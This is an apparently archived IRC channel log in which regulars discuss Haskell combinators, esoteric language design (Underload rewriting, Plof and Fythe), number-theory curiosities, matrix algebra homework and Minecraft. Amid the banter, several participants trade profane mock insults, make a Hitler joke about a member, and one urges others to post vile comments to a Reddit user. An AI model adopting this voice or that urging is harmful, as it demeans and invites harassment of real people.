19:29:30 <oerjan> *===
19:30:24 <elliott_> oerjan: indeed, i'm just thinking how it would work as a language
19:30:34 <elliott_> @pl concatMap (\e -> concatMap (\(t,(s,as)) -> maybe [] (\bs -> [(s, map (subst bs) as)]) (bindings t e)) rs)
19:30:36 <lambdabot> ((rs >>=) . (`ap` snd) . (. fst) . flip flip snd . (ap .) . flip flip fst . (((.) . flip (flip . (maybe [] .) . flip flip [] . ((flip . ((:) .)) .) . (. flip (map . subst)) . (.) . (,))) .) . flip
19:30:37 <lambdabot> bindings =<<)
19:30:40 <elliott_> nice.
19:31:00 <oerjan> concatMap = (=<<)
19:33:03 <oerjan> :t (>>=).([]++)
19:33:05 <lambdabot> forall a b. [a] -> (a -> [b]) -> [b]
19:33:11 <oerjan> :t (>>=).($)
19:33:12 <lambdabot> forall a b a1. (a1 -> a) -> (a -> a1 -> b) -> a1 -> b
19:35:23 <Sgeo> I think I may be complaining that Clojure doesn't enforce good design
19:35:30 <elliott_> oerjan: don't bother, this is from some old code :)
19:35:57 * oerjan is not bothering, just testing out his type-restricting trick
19:36:09 <oerjan> :t (>>=).(>>=Just)
19:36:10 <lambdabot> forall b a. Maybe a -> (a -> Maybe b) -> Maybe b
19:36:20 <oerjan> :t (>>=).(>>=Right)
19:36:21 <lambdabot> forall b a a1. (Monad (Either a1)) => Either a1 a -> (a -> Either a1 b) -> Either a1 b
19:37:05 <elliott_> oerjan: hey do you still have the link to that self-modifying wiki tom 7 did
19:38:06 <oerjan> no idea
19:38:13 <oerjan> i don't keep so many links
19:40:55 <elliott_> oerjan: hm does a concatenative tree rewriting language even require any placeholders beyond (x)
19:41:09 <elliott_> i think you just need (var)
19:41:12 <elliott_> to do all of underload
19:41:19 <elliott_> (x)(y)* === (xy)
19:41:23 <elliott_> (x): === (x)(x)
19:41:28 <elliott_> (x)(y)~ === (y)(x)
19:41:29 <oerjan> well you used plain x for ^ above
19:41:31 <elliott_> (x)a === ((x))
19:41:33 <elliott_> (x)^ === x
19:41:37 <elliott_> oerjan: yes but the LHS just has (x)
19:41:43 <elliott_> (x)! ===
19:42:08 -!- Wooble has left (?).
19:43:07 <oerjan> well a plain x has an unknown stack result, so is hard to deduce anything about
19:43:28 <elliott_> oerjan: um how is that relevant
19:43:48 <oerjan> it means it is hard to have a rule that needs it
19:44:03 -!- KingOfKarlsruhe has joined.
19:44:14 <elliott_> ah
19:44:17 <elliott_> oerjan: i meant more like
19:44:18 <elliott_> (x*y)
19:44:23 <elliott_> or (x/y) or any of that kind of stuff
19:44:26 <elliott_> more detailed patterns
19:44:28 <oerjan> hm
19:44:56 <oerjan> well concatenative more or less means not having those
19:48:43 <elliott_> oerjan: completely randomly, a scary haskell thing: you can write "Right x = Nothing" as a top level definition
19:48:56 <elliott_> er
19:48:57 <elliott_> *Just x
19:49:10 <elliott_> test :: Int
19:49:11 <elliott_> Just test = Nothing
19:49:11 <elliott_> Ok, modules loaded: Main.
19:49:12 <elliott_> *Main>
19:49:22 <elliott_> ("test" just produces an irrefutable pattern error)
19:51:59 <oerjan> > let 1 = 2 in "Logic!"
19:52:01 <lambdabot> "Logic!"
19:52:33 <Ilari> Haha... Superconductors.org highest T_c claim box is now in degrees Celcius (used to be in Kelvins).
19:54:50 <Ilari> And it is the kind of temperature ordinary fridges (no need for even freezer) are capable of.
19:55:11 <fizzie> +3 is a bit low for a fridge.
19:55:54 <Ilari> Most fridges go below that if you set the thermostat to the lowest it goes.
19:56:56 <fizzie> Well, maybe at some regions; I'm not sure the whole box will stay consistently below +3, though. (Especially if you keep opening the door.)
19:59:55 <zzo38> Why did they change the units?
20:04:39 <elliott_> @hoogle a->[a]->Int
20:04:41 <lambdabot> Data.List elemIndex :: Eq a => a -> [a] -> Maybe Int
20:04:41 <lambdabot> Data.List elemIndices :: Eq a => a -> [a] -> [Int]
20:04:41 <lambdabot> Network.BufferType buf_concat :: BufferOp a -> [a] -> a
20:07:02 <elliott_> oerjan: hey i think i finally wrote a superstrict evaluator
20:07:12 <elliott_> istr it being non-trivial, guess i was wrong...
20:11:16 <zzo38> Would you like me to post a subpage of the Checkout page describing my idea for a binary format?
20:11:33 <elliott_> zzo38: that would probably fit better on the talk page
20:11:43 <elliott_> > let x = "abc" ++ map ('x':) x in x
20:11:44 <lambdabot> Couldn't match expected type `GHC.Types.Char'
20:11:44 <lambdabot> against inferred type...
20:11:46 <zzo38> OK, I will post it on the Talk page instead.
20:11:57 <elliott_> > let x = "abc" ++ 'x':x in x
20:11:59 <lambdabot> "abcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxabcxab...
20:12:11 <elliott_> > let x = ["a","b","c"] ++ map ('x':) x in x
20:12:13 <lambdabot> ["a","b","c","xa","xb","xc","xxa","xxb","xxc","xxxa","xxxb","xxxc","xxxxa",...
20:12:18 <elliott_> > let x = ["a","b","c"] ++ map (++"'") x in x
20:12:20 <lambdabot> ["a","b","c","a'","b'","c'","a''","b''","c''","a'''","b'''","c'''","a''''",...
20:16:57 <elliott_> oerjan: what's the Y combinator these days
20:17:11 <Phantom_Hoover> elliott_, "these days"?
20:17:16 <elliott_> Phantom_Hoover: Yes.
20:17:22 <elliott_> (Semi- Ed Stories reference.)
20:17:31 <elliott_> ("What's the speed of light these days?")
20:18:18 <Phantom_Hoover> -_-
20:18:25 <Phantom_Hoover> READ FINE STRUCTURE GODDAMNIT
20:18:43 <oerjan> > fix ((["a","b","c"]++).((++"'")<$>))
20:18:45 <lambdabot> ["a","b","c","a'","b'","c'","a''","b''","c''","a'''","b'''","c'''","a''''",...
20:19:02 <elliott_> Phantom_Hoover: Shut up, the Ed Stories are brilliant.
20:19:12 -!- KingOfKarlsruhe has quit (Remote host closed the connection).
20:19:25 <elliott_> ^f.^x.`f`x x ^x.`f `x `
20:19:27 <elliott_> ^f.^x.`f`x x ^x.`f `x x
20:19:27 <elliott_> okay
20:19:56 <Phantom_Hoover> elliott_, yes, they were.
20:20:00 <Phantom_Hoover> READ FINE STRUCTURE.
20:20:08 -!- oerjan has quit (Quit: Good night).
20:20:44 <elliott_> *Main> yy
20:20:45 <elliott_> L (A (L (A (V 1) (A (V 0) (V 0)))) (L (A (V 1) (A (V 0) (V 0)))))
20:20:45 <elliott_> *Main> eval [] yy
20:20:45 <elliott_> L (A (V 1) (A (V 0) *** Exception: /home/elliott/Code/superstrict/superstrict.hs:14:17-83: Non-exhaustive patterns in case
20:20:45 <elliott_> yeah
20:20:47 <elliott_> *gah
20:20:51 <elliott_> well i suppose that's one way to diverge
20:21:40 <elliott_> *Main> yy
20:21:41 <elliott_> L (A (L (A (V 1) (A (V 0) (V 0)))) (L (A (V 1) (A (V 0) (V 0)))))
20:21:42 <elliott_> *Main> eval [] yy
20:21:42 <elliott_> L (A (V 1) (A (V 0) (A (A (V 0) (V 0)) (A (V 0) (V 0)))))
20:21:42 <elliott_> *Main> eval [] $ eval [] yy
20:21:42 <elliott_> L *** Exception: Prelude.(!!): index too large
20:21:43 <elliott_> :(
20:21:45 <elliott_> awfully broken
20:24:36 <elliott_> > let (|>) = flip (.); (☐) = flip in undefined undefined |> undefined ☐ undefined | unefined
20:24:37 <lambdabot> <no location info>: parse error on input `|'
20:27:02 <Sgeo> "Your example is wrong in more ways than you intended"
20:27:03 <Sgeo> QQ
20:27:57 <zzo38> I posted on wiki Talk page about my ideas of Checkout binary.
20:29:35 <zzo38> Please read it
20:37:08 <zzo38> I also have idea for a ".dvipub" format, which I will specify here. It is a ZIP archive. Which kind of files are allowed, the page sizes, the allowed specials, the dots-per-inch, are publisher-specific and the publisher must specify what are allowed in the files they receive.
20:38:13 <Sgeo> Checkout confuses me. Machine code doesn't match current processor reali.. hm
20:38:33 <zzo38> They can contain ".dvi" file, any ".*gf" files for nonstandard fonts you use at the printer's resolution, picture files that might be included, an optional nested archive of source files, optional ".iso" files which will be recorded onto CDs/DVDs and included in the back of the book, etc.
20:38:44 -!- elliott_ has set topic: Átetraor átetradanwakin | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:39:42 * pikhq needs to stop procrastinating.
20:39:53 <pikhq> There's a metric fuckton of homework due.
20:40:02 <Sgeo> Is all this Checkout stuff basically how real processors work?
20:40:28 <zzo38> Sgeo: I think it is for graphics processors?
20:40:40 <Ilari> Heh. Wrote a tool that given stream of words in lexicographic order prints minimal subsequence subset so far.
20:42:14 <zzo38> And some specials that might exist on some publishers are: Telling where the barcode should be printed, specifying layer for printing with two layers (and what color the color layer should be), if some pages should have tabs sticking out, covers, metadata, and so on.
20:42:16 <Phantom_Hoover> elliott_, why the topic?
20:42:21 <elliott_> Phantom_Hoover: Why not.
20:42:57 <zzo38> (And if the publishing service supports multiple resolutions and/or paper sizes, also specials for those things, too)
20:43:03 <Ilari> Squares in base 10: 0, 1, 4, 9, 25, 36, 576, 676, 665856, ...
20:43:27 <zzo38> What is your opinions of this ".dvipub" format?
20:43:32 <Sgeo> zzo38, write a web browser in Checkout
20:43:42 <Phantom_Hoover> elliott_, let me rephrase: what did you get those words from?
20:43:48 <elliott_> Phantom_Hoover: A spaceman.
20:44:01 <Phantom_Hoover> What'd he say they meant?
20:44:17 <Phantom_Hoover> Also, did he spell them for you?
20:44:26 <elliott_> Yes.
20:44:34 <Ilari> Wow, set of cubes has quite big subsequence subset.
20:45:06 <Phantom_Hoover> Ilari, ?
20:45:07 <zzo38> Sgeo: I have never written a program in Checkout. However, what I might do some day is to write a program to emulate Checkout programs with specified profiles, and that its output will also tell you the timing and power used, and so on.
20:46:54 <Ilari> By far the biggest subsequence subset I have seen outside artifical examples: 113 numbers so far.
20:47:14 * Phantom_Hoover discovers that there are a tonne of Mythbusters videos on YouTube.
20:47:20 <Phantom_Hoover> Ilari, subsequence subset?
20:48:31 -!- elliott_ has set topic: «Tra átedáwakin» trawan. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:48:45 <Ilari> Take a set A. Now what is smallest subset B of A such that every element of A has a subsequence in B?
20:49:24 <Ilari> Actually, set of strings A.
20:50:03 <zzo38> If I want to publish some books, I would like to use ".dvipub" format, but will any publishing services possibly support this format?
20:50:11 <Ilari> This smallest subset is always finite (but there are sets that have arbitrarily large subsequence subset).
20:50:12 -!- elliott_ has set topic: ««Tra átedáwakin» «Tra tradáwan» dáwan» trawan. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:50:28 * Phantom_Hoover fears for elliott_'s sanity.
20:51:04 <Ilari> Already found 117 for set of cubes (starting from 0) in base 10.
20:51:18 <elliott_> Phantom_Hoover: Perfectly sane here!
20:51:32 <Phantom_Hoover> elliott_, THE NHS DISAGREES
20:52:20 <elliott_> Phantom_Hoover: Átewan.
20:52:51 <zzo38> (My idea is that the file should be either shipped to them by mail on a DVD, or uploaded to them using FTP; and then they will publish the book for you.)
20:53:32 <elliott_> Phantom_Hoover: Yeah, you heard me.
20:53:39 <Phantom_Hoover> Clearly that means "THAT STOPPED BEING FUNNY THE TENTH TIME"
20:53:40 <fizzie> Ilari: 33856 is a square (184^2), but it doesn't seem to have any of 0, 1, 4, 9, 25, 36, 576, 676 as a subsequence.
20:53:50 <elliott_> Phantom_Hoover: PRECISELY.
20:54:09 <elliott_> fizzie: 33856. 3, 3, 8, 4, 5, 6; see, it does.
20:54:45 -!- zeotrope has quit (Ping timeout: 276 seconds).
20:56:08 <Ilari> Ah, also found 7888885568656 and 888288787822276, ...
20:56:38 <Ilari> Now the set for cubes is at 121 elements..
20:57:56 <Ilari> Found 122nd.
20:58:55 <elliott_> Ilari: err didn't fizzie just invalidate what you were saying?
20:58:59 <elliott_> oh wait
20:59:00 <elliott_> squares not cubes
20:59:14 <fizzie> Yes, it was a comment on the earlier "0, 1, 4, 9, 25, 36, 576, 676, 665856, ..." list for cubes.
20:59:32 <fizzie> Gah.
20:59:34 <fizzie> Squares, I mean.
20:59:37 <fizzie> I'm just wondering, since 665856 > 33856.
21:00:10 <fizzie> Cube, square: "same, same but different", like a hotel receptionist once said. (Can't remember the context.)
21:00:28 <Ilari> 36 is subsequence of 33856
21:00:40 <fizzie> Oh, that sort of subsequence.
21:01:23 <fizzie> (The generic sort, not just a substring.)
21:01:27 <zzo38> Did you know that my internet is connected using a 100-foot cable that goes underneath the door, and then is connected to a wireless router next to my computer, and then connected with a shorter wire to the connection in the computer? (My computer is not connected wirelessly, but some other computers are)
21:01:42 <elliott_> @hoogle (m -> a -> b -> m) -> (m -> a) -> (m -> b) -> (m -> m)
21:01:43 <lambdabot> No results found
21:01:52 <elliott_> @hoogle (m -> a -> m) -> (m -> a) -> (m -> m)
21:01:53 <lambdabot> Data.Data gmapQl :: Data a => (r -> r' -> r) -> r -> (d -> r') -> a -> r
21:01:53 <lambdabot> Data.Function on :: (b -> b -> c) -> (a -> b) -> a -> a -> c
21:01:53 <lambdabot> Control.Parallel.Strategies parZipWith :: Strategy c -> (a -> b -> c) -> [a] -> [b] -> [c]
21:01:55 <Ilari> 123rd for cubes. Still at 11 squares.
21:01:58 <elliott_> Meh.
21:03:09 <Ilari> Basically, one would expect the sparser the original set, the bigger the subsequence subset will be.
21:03:36 <Phantom_Hoover> kfr is gone.
21:04:08 <Ilari> Wonder how big the set would be for absolute pseudoprimes.
21:04:09 <Phantom_Hoover> Good, I don't think I could have borne another obnoxious noob who wouldn't leave.
21:05:31 <elliott_> Yeah, that Phantom_Hoover guy is enough.
21:05:41 <Phantom_Hoover> Totally.
21:05:50 <Phantom_Hoover> I wish he'd just go away and die.
21:07:08 <Ilari> Out of first 33 absolute pseudoprimes, subsequence subset contains (in base 10) 28.
21:07:18 <elliott_> Phantom_Hoover: Who doesn't.
21:07:44 <Phantom_Hoover> Other obnoxious noobs perhaps?
21:08:10 <Phantom_Hoover> I don't know, I steadfastly ignore everything he does.
21:08:16 <Phantom_Hoover> He might have alienated them as well.
21:08:16 <elliott_> Me too.
21:08:21 <elliott_> Oh he does.
21:08:27 <Phantom_Hoover> Still, he's not as bad as that elliott_ twat.
21:08:38 <elliott_> The worst by far is fizzie though.
21:08:40 <elliott_> What a shithead!
21:08:44 <elliott_> OH I WENT THERE
21:08:53 <Phantom_Hoover> And none are nearly as awful as sshc.
21:08:58 <Phantom_Hoover> Who has... left.
21:09:03 <Phantom_Hoover> \o/
21:09:03 <myndzi> |
21:09:04 <myndzi> |\
21:09:05 <elliott_> Apart from Gregor.
21:09:12 <elliott_> Gregor is pretty much Hitler.
21:09:14 <elliott_> Except Jewish.
21:09:23 <Ilari> Found list containing 10 000 first aboslute pseudoprimes. 4379 subsequences found.
21:10:02 -!- elliott_ has set topic: «««Tra átedáwakin» «Tra tradáwan» dáwan» trawan» trawan. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:11:40 <elliott_> Phantom_Hoover is calling the asylum as we speak.
21:12:39 <Phantom_Hoover> elliott_, I will use my connections to have you slung in for LIFE.
21:12:48 <Phantom_Hoover> And then recommend ELECTROSHOCK THERAPY.
21:12:57 <elliott_> Phantom_Hoover: Átewakin.
21:15:34 <pikhq> This linear algebra textbook is moronic.
21:16:04 <Phantom_Hoover> What is this linear algebra thing?
21:16:06 <pikhq> If you're going to ask me to *add* a scalar to a matrix, you better *define that*.
21:17:17 <Ilari> Wow. For the latest discovery launch, they restarted the countdown two seconds before the last possible moment.
21:17:49 <Phantom_Hoover> pikhq, surely that's just the same as scalar multiplication?
21:17:54 <elliott_> Ilari: X-D
21:18:02 <elliott_> 5, 4, 3, 2... 10, 9, ...
21:18:23 <Ilari> Nope, extra countdown pause at 5 minutes.
21:19:00 <Ilari> Two seconds more and launch would had to be scrubbed (most likely for 24 hours).
21:19:01 <pikhq> Phantom_Hoover: If it doesn't define x+y :: Matrix -> Scalar -> Matrix, then it's fucking undefined.
21:19:14 <elliott_> *(+)
21:19:21 <pikhq> elliott_: Dur.
21:20:51 <pikhq> *As it turns out*, addition of a scalar and a matrix consists of adding that scalar to each element in the matrix, but dammit a textbook should fucking define shit like that.
21:21:39 <pikhq> Otherwise, I will be sorely tempted to write "DNE" on half the homework.
21:21:50 <Phantom_Hoover> DNE?
21:21:55 <pikhq> Does Not Exist.
21:22:21 -!- zzo38 has quit (Quit: zzo38).
21:22:53 <Ilari> Countdown can be no longer be held after the T-31 seconds mark. Cutoff remains possibility up to T-0s. However, if that is used (and problem is small enough not to scrub the launch) the countdown resumes at T-20min.
21:24:47 <Ilari> Main engine ignition happens at about T-5s.
21:25:59 <elliott_> pikhq: aren't all the matrix-with-scalar operations basically automatically lifted?
21:26:18 <pikhq> elliott_: No.
21:26:21 <pikhq> elliott_: Erm.
21:26:37 <pikhq> elliott_: Yes, but this textbook leaves them ENTIRELY UNDEFINED except in the case of scalar multiplication.
21:26:51 <pikhq> Which is FAIL.
21:26:54 <elliott_> pikhq: I'm just saying that it doesn't have to define evrey single combination.
21:26:58 <elliott_> *every
21:27:07 <pikhq> elliott_: "Here are the matrix operations:"
21:27:58 <elliott_> "(And building chickadee houses isn't universally considered a MACHO hobby, even though it involves the use of POWER TOOLS which can LOP OFF FINGERS.)" --prog21
21:28:02 <pikhq> elliott_: How am I to know that addition of a scalar and a matrix is defined if it defines every operation but that?
21:28:16 <elliott_> pikhq: Usually questions don't involve undefined things :P
21:28:51 <pikhq> elliott_: The only reason I went to Google is that I thought it'd be wrong to write a big row of "undefined" on my homework.
21:29:11 <pikhq> If I have to go to Google to correct deficiencies in my textbook, FAIL.
21:34:50 <Ilari> Loads of questions that would require computing something invalid?
21:36:08 <pikhq> Ilari: It's entirely valid to add a scalar and a matrix. It's just that my textbook is defective.
21:37:37 <elliott_> Shit shit shit shit shit shit
21:37:42 <Ilari> I have never heard of that before. Multiplying matrix and scalar yes, but adding them?
21:37:46 <elliott_> I'm starting to hate all programming languages again.
21:37:56 <Gregor> elliott_: Good, they're all terrible.
21:38:14 <elliott_> Gregor: I knew *that*, I just managed to _suppress_ that fierce hate for a while.
21:38:20 <elliott_> Gregor: I was doddering along quite happily with Haskell.
21:38:27 <pikhq> Ilari: Yes, one adds the scalar to each entry.
21:38:39 <Ilari> And I have heard of operations like exp(A) (A is a matrix)...
21:38:40 <elliott_> Gregor: How's Plof coming, I'ma use its features to change it into a decent language :P
21:39:00 <pikhq> Ilari: This textbook asks for it a few times, but never defines it.
21:41:07 <pikhq> Hmm. Judging from some of these *questions*, it may be assuming that you instead multiply the scalar by the appropriate-sized identity matrix and then add *that*?
21:41:09 <Phantom_Hoover> Ilari, exp(A) is simple for matrices.
21:41:17 <Phantom_Hoover> It's just the Taylor series.
21:41:38 <Phantom_Hoover> And, by extension, so are sin and cos.
21:42:05 <elliott_> Gregor: I SEE
21:42:13 <Gregor> elliott_: Plof is dead, long live Plof.
21:42:20 <Gregor> elliott_: Fythe is comin' along pretty well though.
21:42:21 <elliott_> Gregor: What, even Fythe?
21:42:26 <elliott_> Gregor: So Plof 3 is dead?
21:42:31 <Gregor> elliott_: Yes.
21:42:44 <Gregor> elliott_: Plof 4 will be reborn by Fythe's wings :P
21:43:10 <elliott_> Gregor: I have this awful sneaking feeling that Plof 4 is basically going to be Forth.
21:43:29 <elliott_> Implemented in half-Forth ... Secnd (Fythe :P)
21:43:52 <elliott_> And then, and then, we can write Flop, which runs on top of Plof, running on top of Fythe!
21:43:56 <elliott_> So every program starts with
21:43:59 <elliott_> #!/usr/bin/env fythe
21:44:01 <elliott_> plof3
21:44:05 <elliott_> Flop;
21:44:06 <elliott_> ...
21:45:36 <Gregor> At no point is Plof going to look anything like Forth.
21:46:07 <Gregor> The whole point of Fythe is that the core may be Forthlike (sort of a mind-boggling hybrid between Forth and Lisp), but it provides you the functionality to not expose any of that to the user.
21:46:21 <Gregor> The user language will look almost identical to Plof 3, modulo some stupid bits I'd like to get rid of.
21:46:21 <elliott_> Gregor: Yah, but then you'll realise that all this crazy dynamism that's "easy" in Fythe (modulo the low-levelness) is a pain in Plof because of the more rigid syntax, and you'll loosen it by removing all the braces and shit, and then you'll make argument-passing implicit, just so it can be oh so dynamic...
21:46:25 <elliott_> And then you'll have Forth!
21:46:42 <elliott_> Well, after reversing everything.
21:46:58 <Gregor> ... yeah, that's definitely Forth right there. X_X
21:47:07 <elliott_> Gregor: Plof 3's main problem was the syntax I think...
21:47:12 <elliott_> At least I seem to recall "if" being super-ugly.
21:47:25 <Gregor> You cried over parens.
21:47:27 <Gregor> Because you're a durp.
21:47:27 <Sgeo> Hybrid between Forth and Lisp sounds sexy
21:47:33 <elliott_> Gregor: I distinctly recall something like
21:47:35 <elliott_> if 2==2, (
21:47:35 <elliott_> ...
21:47:37 <elliott_> ), else, (
21:47:38 <elliott_> ...
21:47:38 <elliott_> )
21:47:40 <Gregor> Uh, no.
21:47:43 <elliott_> which is just the most hideous thing ever constructed.
21:47:52 <Gregor> if (case) ( true stuff ) else ( false stuff )
21:48:15 <elliott_> Gregor: You should make {} identical to () :-P
21:48:20 <elliott_> ROBLEM SOLVED
21:48:23 <elliott_> ...yes, roblem.
21:48:25 <Gregor> {} is a function.
21:48:27 <elliott_> I just solved the roblem.
21:48:35 <elliott_> Gregor: Oh god, it's thick vs. fucking thin all over again.
21:48:41 <Gregor> ... no?
21:48:45 <elliott_> Gregor: Yes, () vs {} :P
21:48:47 <elliott_> *vs.
21:49:00 <Gregor> () is just parens.
21:49:02 <Gregor> That's it.
21:49:17 <elliott_> Gregor: Yes, but the point is that when you'd use a thin function, you'd use a lazily-evaluated expression with parens,
21:49:24 <elliott_> and when you'd use a thick function, you'd use a function with braces.
21:49:53 <Gregor> Yes, this was my SOLUTION to thick and thin functions, the problem wasn't their existence, it was the complications they caused w.r.t scoping.
21:50:26 <elliott_> Gregor: Right.
21:50:29 <elliott_> [[2There is no correct behavior for these functions, they are purely heuristic. That is, any implementation is allowed to produce
21:50:29 <elliott_> incorrect results if it cannot distinguish between types; proper type management is the responsibility of the programmer or language
21:50:30 <elliott_> implementer, not Fythe.]]
21:50:33 <elliott_> lawl, what are those functions even for
21:50:53 <Gregor> Debugging your interpreter :P
21:53:11 <elliott_> I have successfully found The Worst Programmer.
21:53:12 <elliott_> [[Algorithms?
21:53:13 <elliott_> I've just finished rewriting about 100 lines of Python code for like a fourth time today. Because each time I finish and begin using it, I discover that my API sucks, I don't want to use the way I intended and want to use it in unintended ways, and I'm not going to tolerate this! Luckily, now I see a better way to organize it... then the cycle repeats, until I get something that I actually enjoy using.
21:53:13 <elliott_> I don't know, algorithms are not even programming, just moderately interesting mathematical puzzles in a weird formalism. Architecture and design on the other hand are fascinating and immensely rewarding when you get them right! And possibilities for improvement are everywhere, in every function signature, literally!
21:53:15 <elliott_> There must be something wrong with you people if you see only "glue" and "algos" in your code.]]
21:53:21 <elliott_> I suggest immediate removal from the gene pool and also society.
21:53:32 <Phantom_Hoover> Ues.
21:53:39 <Phantom_Hoover> *Yes
21:53:47 <pikhq> elliott_: Actually, it's really not thick-vs-thing.
21:53:48 <Phantom_Hoover> Who is this person that I may beat them up.
21:53:52 <pikhq> Erm, thin.
21:53:52 <Gregor> Agreed. Movement passes.
21:54:01 <pikhq> elliott_: Instead, Plof is lazy.
21:54:01 <elliott_> http://www.reddit.com/r/programming/comments/fsl62/programming_in_the_21st_century/c1ibjmf
21:54:14 <elliott_> I suggest you respond with vile comments referencing the mother of fish dicks.
21:54:24 <elliott_> THE MOTHER OF ALL FISH DICKS
21:56:51 <elliott_> http://i.imgur.com/IoB53.jpg 13 YEAR OLD LIBERAL MAKES WHINY IMAGE, POSTS ON REDDIT, REACHES FRONT PAGE, I think I'm going to shoot myself in the fucking head,
21:59:31 <Gregor> pikhq: I just sorta figured elliott_ already knew that and was basically trolling :P
22:00:02 <elliott_> Gregor: It's your fault for not having created the perfect language yet.
22:01:25 * Gregor sobs quietly to himself.
22:03:04 <elliott_> Gregor: Just to make you even sadder, with the valiant method of "stealing ideas and tweaking them", I believe I've made a wiki MORE FLEXIBLE THAN HACKIKI
22:04:21 <elliott_> Gregor is now writhing on the floor in despair.
22:05:36 <Phantom_Hoover> elliott_, how does it work?
22:05:43 <elliott_> Phantom_Hoover: I'M WAITING FOR GREGOR TO BREAK DOWN AND ASK
22:08:02 <elliott_> ;_;
22:10:29 <olsner> elliott_: wtf, I am *not* from paris
22:10:38 <elliott_> olsner: haha! very funny
22:12:43 <elliott_> Poor Gregor.
22:13:36 -!- copumpkin has quit (Ping timeout: 240 seconds).
22:14:20 <olsner> elliott_: what's so sad about gregor?
22:14:21 <elliott_> Phantom_Hoover: If he doesn't break down in five minutes I'll just tell you.
22:14:23 <elliott_> olsner: He's so sad.
22:14:26 <elliott_> <Gregor> pikhq: I just sorta figured elliott_ already knew that and was basically trolling :P
22:14:26 <elliott_> <elliott_> Gregor: It's your fault for not having created the perfect language yet.
22:14:27 <elliott_> * Gregor sobs quietly to himself.
22:14:28 <elliott_> So so sad.
22:14:34 <olsner> Sad :(
22:17:30 <elliott_> Heeey, on a technicality I've been here longer than I thought.
22:17:47 <olsner> how long did you think you were here?
22:17:55 <elliott_> I was in here 2006-12-29, even though I technically didn't actually, you know, say anything, and then didn't come back until May 2007 which is what I thought.
22:18:07 <olsner> coolt
22:18:19 <elliott_> So I'm slightly closer to oerjan X-D
22:18:24 <olsner> ... and for some reason that came out in swedish
22:18:32 <elliott_> Coolt.
22:19:04 <olsner> that's the neuter-gender version of "cool"
22:19:20 <olsner> that is cool => det är coolt
22:20:32 <olsner> and older people don't treat it as a swedish word but always say just "cool"
22:22:59 <elliott_> olsner: _older_ people?
22:23:03 <elliott_> I would expect s/older/younger/
22:25:08 <Zwaarddijk> olsner: I hear some young people, mostly from Sweden, not inflecting it to neuter, effectively treating it as congruenceless
22:25:44 <Zwaarddijk> I think all swedish speakers in Finland inflect it to agree, though
22:26:02 <Zwaarddijk> elliott_: older people are likely to treat foreign words as though they were a real short stint of codeswitching
22:26:13 <elliott_> Zwaarddijk: heh
22:26:14 <Zwaarddijk> and therefore don't conform to grammar
22:26:25 <elliott_> darn kids, always with the inflecting and the conjugating of the youth slang
22:26:28 <Zwaarddijk> younger people adopt them into the language
22:26:49 <elliott_> get off my gräsmatta!
22:26:53 <elliott_> (thanks google translate)
22:26:55 <Zwaarddijk> indeed.
22:27:15 <Zwaarddijk> altho' most people don't have lawns, they have snow.
22:27:23 <Phantom_Hoover> That *must* be a loanword.
22:27:27 <Zwaarddijk> grass:lawn::snow:_what_?
22:27:29 <Phantom_Hoover> To at least a degree.
22:27:41 <Zwaarddijk> what word? gräsmatta?
22:27:45 <Phantom_Hoover> Zwaarddijk, you've obviously not played Minecraft enough.
22:27:54 <Phantom_Hoover> Snow blocks, duh.
22:28:34 <elliott_> alternatively he's played minecraft the correct amount when optimising for having time left to do things that aren't minecraft in a day
22:28:36 <elliott_> that is, not at all
22:28:44 <Zwaarddijk> I don't play minecraft
22:28:46 -!- copumpkin has joined.
22:28:47 -!- Mathnerd314 has joined.
22:28:52 <Zwaarddijk> I mainly play games from the mid-90s
22:28:52 <elliott_> Zwaarddijk: precisely!
22:29:42 <Zwaarddijk> tho', well, minecraft kind of looks like a mod of some kind of forgotten proof-of-concept demo that id software made a year prior to quake
22:30:05 <Zwaarddijk> so aesthethically I guess it's in that ballpark?
22:30:25 <Phantom_Hoover> Zwaarddijk, which games from the mid-90s?
22:30:28 <elliott_> Zwaarddijk: It's meant to look retro; its gameplay is not really, though. Well, it's "retro" in that it's unconventional and more "fun" than contemporary games, but at the same time it's simulating a rather gigantic chunk of 3D world every tick.
22:30:49 <elliott_> Zwaarddijk: It's a very enjoyable game but err... eats up an awful lot of time...
22:30:59 <Zwaarddijk> elliott_: what hardware does it even require?
22:31:16 <elliott_> Zwaarddijk: It won't run very well on a netbook. Apart from that most things can handle it.
22:31:16 <Zwaarddijk> I fall into sort of addictive behaviours a bit too easily to want to risk that with minecraft, honestly
22:31:48 <Zwaarddijk> elliott_: so like, it wouldn't spin on an old pentium II or any such stuff
22:31:55 <elliott_> I played it on a 1.33 GHz Core 2 Duo with 4 gigs of RAM, you could almost certainly run it with less RAM.
22:32:17 <elliott_> Zwaarddijk: Well, no. But at least it's not just wasteful coding -- it simulates 81 chunks at a time.
22:32:20 <elliott_> A chunk is 16*16*128.
22:32:36 <elliott_> You think a Pentium II could do physics, no matter how naive, on 2,654,208 blocks, many many times a second?
22:32:36 <Zwaarddijk> Phantom_Hoover: the marathon-series, various doom-derivatives, diablo II, the classical warcrafts, c&c, even some of the terrible things like rise of the triad and such
22:32:38 <elliott_> I kinda doubt it.
22:32:45 <Zwaarddijk> occasional dips into all kinds of weird stuff from then
22:33:00 <Zwaarddijk> gobliiins, king's quest, even, day of the tentacle, all kinds of stuff.
22:33:08 <Zwaarddijk> quake.
22:33:18 <Zwaarddijk> (so pretty open-ended mid-90s
22:33:44 -!- Phantom_Hoover has quit (Quit: Leaving).
22:34:06 -!- Phantom_Hoover has joined.
22:34:25 <Phantom_Hoover> Sorry, wireless conked out.
22:35:37 <elliott_> Gah, Google Translate's interface is so bad.
22:35:53 <elliott_> The menus for selecting a language are five billion times less efficient than letting me type "de to sv".
22:36:00 <elliott_> Or even "german to swedish".
22:36:52 <Phantom_Hoover> elliott_, but don't you know that text interfaces are USER UNFRIENDLY???
22:39:12 <Zwaarddijk> why hasn't this important insight been entirely carried out in programming?
22:39:21 <Zwaarddijk> we should entirely abandon text in programming.
22:39:24 <Zwaarddijk> it is a terrible way.
22:39:45 <elliott_> Zwaarddijk: oh god.
22:39:56 <elliott_> Zwaarddijk: here's the answer i'll deliver in lieu of another multiple hour debate.
22:40:10 <Zwaarddijk> (I am obviously being entirely serious)
22:40:14 <elliott_> Zwaarddijk: BECAUSE EVERY PROPONENT OF NON-TEXTUAL PROGRAMMING IS A FUCKING JERK ABOUT IT
